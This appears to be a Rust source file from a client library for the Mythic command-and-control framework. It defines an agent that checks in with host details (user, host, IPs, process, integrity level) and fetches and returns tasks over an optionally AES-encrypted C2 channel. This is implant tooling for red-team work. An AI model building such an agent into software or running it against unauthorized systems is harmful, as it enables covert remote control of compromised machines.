1use alloc::string::String;
4use alloc::vec::Vec;
5use uuid::Uuid;
6
7use crate::MythicResult;
8use crate::protocol::checkin::{self, DirectResult};
9use crate::protocol::codec::{
10 Aes256HmacCrypto, decode_message, decode_message_plain, encode_message, encode_message_plain,
11};
12use crate::protocol::{
13 AgentExtras, AgentMessageExtras, ReqCheckin, ReqGetTasking, ReqPostResponse, RespGetTasking,
14 RespPostResponse,
15};
16use crate::transport::C2Transport;
17
18#[derive(Debug)]
55pub struct MythicAgent {
56 pub callback_uuid: Uuid,
57}
58
59impl MythicAgent {
60 pub fn new(payload_uuid: Uuid) -> Self {
61 Self {
62 callback_uuid: payload_uuid,
63 }
64 }
65
66 pub fn callback_uuid(&self) -> Uuid {
67 self.callback_uuid
68 }
69
70 #[allow(clippy::too_many_arguments)]
77 pub fn easy_checkin<C: C2Transport>(
78 payload_uuid: Uuid,
79 c2: &C,
80 ips: Vec<String>,
81 os: Option<String>,
82 user: Option<String>,
83 host: Option<String>,
84 pid: Option<u32>,
85 architecture: Option<String>,
86 domain: Option<String>,
87 integrity_level: Option<u32>,
88 external_ip: Option<String>,
89 encryption_key: Option<String>,
90 decryption_key: Option<String>,
91 process_name: Option<String>,
92 ) -> MythicResult<Self> {
93 let req = ReqCheckin::new(
94 payload_uuid,
95 ips,
96 os,
97 user,
98 host,
99 pid,
100 architecture,
101 domain,
102 integrity_level,
103 external_ip,
104 encryption_key,
105 decryption_key,
106 process_name,
107 );
108 Self::new(payload_uuid).checkin(req, c2)
109 }
110
111 pub fn checkin<C: C2Transport>(mut self, req: ReqCheckin, c2: &C) -> MythicResult<Self> {
117 let payload_uuid = req.uuid;
118
119 let needs_crypto = c2.get_aes_psk().is_some();
120 let iv = if needs_crypto {
121 c2.random_iv()?
122 } else {
123 [0u8; 16]
124 };
125
126 let DirectResult { callback_uuid, .. } =
127 checkin::direct_checkin(c2, &req, payload_uuid, &iv)?;
128
129 self.callback_uuid = callback_uuid;
130
131 Ok(self)
132 }
133
134 pub fn get_tasking<C: C2Transport>(
136 &self,
137 tasking_size: u32,
138 c2: &C,
139 ) -> MythicResult<RespGetTasking> {
140 self.get_tasking_with(tasking_size, c2, AgentMessageExtras::default())
141 }
142
143 pub fn get_tasking_with<C: C2Transport>(
146 &self,
147 tasking_size: u32,
148 c2: &C,
149 extras: AgentMessageExtras,
150 ) -> MythicResult<RespGetTasking> {
151 let req = ReqGetTasking::with_extras(tasking_size, extras);
152
153 if let Some(key_b64) = c2.get_aes_psk() {
154 let crypto = Aes256HmacCrypto::from_base64_key(&key_b64)?;
155 let iv = c2.random_iv()?;
156 let packed = encode_message(&req, self.callback_uuid, &crypto, &iv)?;
157 let response = c2.get_tasking(&packed)?;
158 decode_message(&response, Some(self.callback_uuid), &crypto).map(|(_, r)| r)
159 } else {
160 let packed = encode_message_plain(&req, self.callback_uuid)?;
161 let response = c2.get_tasking(&packed)?;
162 decode_message_plain(&response, Some(self.callback_uuid)).map(|(_, r)| r)
163 }
164 }
165
166 pub fn post_response<C: C2Transport>(
173 &self,
174 responses: Vec<crate::protocol::TaskResponse>,
175 c2: &C,
176 ) -> MythicResult<RespPostResponse> {
177 self.post_response_with(responses, c2, AgentExtras::default())
178 }
179
180 pub fn post_response_with<C: C2Transport>(
186 &self,
187 responses: Vec<crate::protocol::TaskResponse>,
188 c2: &C,
189 shared: AgentExtras,
190 ) -> MythicResult<RespPostResponse> {
191 let extras = AgentMessageExtras { responses, shared };
192 let req = ReqPostResponse::from_extras(extras);
193
194 if let Some(key_b64) = c2.get_aes_psk() {
195 let crypto = Aes256HmacCrypto::from_base64_key(&key_b64)?;
196 let iv = c2.random_iv()?;
197 let packed = encode_message(&req, self.callback_uuid, &crypto, &iv)?;
198 let response = c2.post_response(&packed)?;
199 decode_message(&response, Some(self.callback_uuid), &crypto).map(|(_, r)| r)
200 } else {
201 let packed = encode_message_plain(&req, self.callback_uuid)?;
202 let response = c2.post_response(&packed)?;
203 decode_message_plain(&response, Some(self.callback_uuid)).map(|(_, r)| r)
204 }
205 }
206}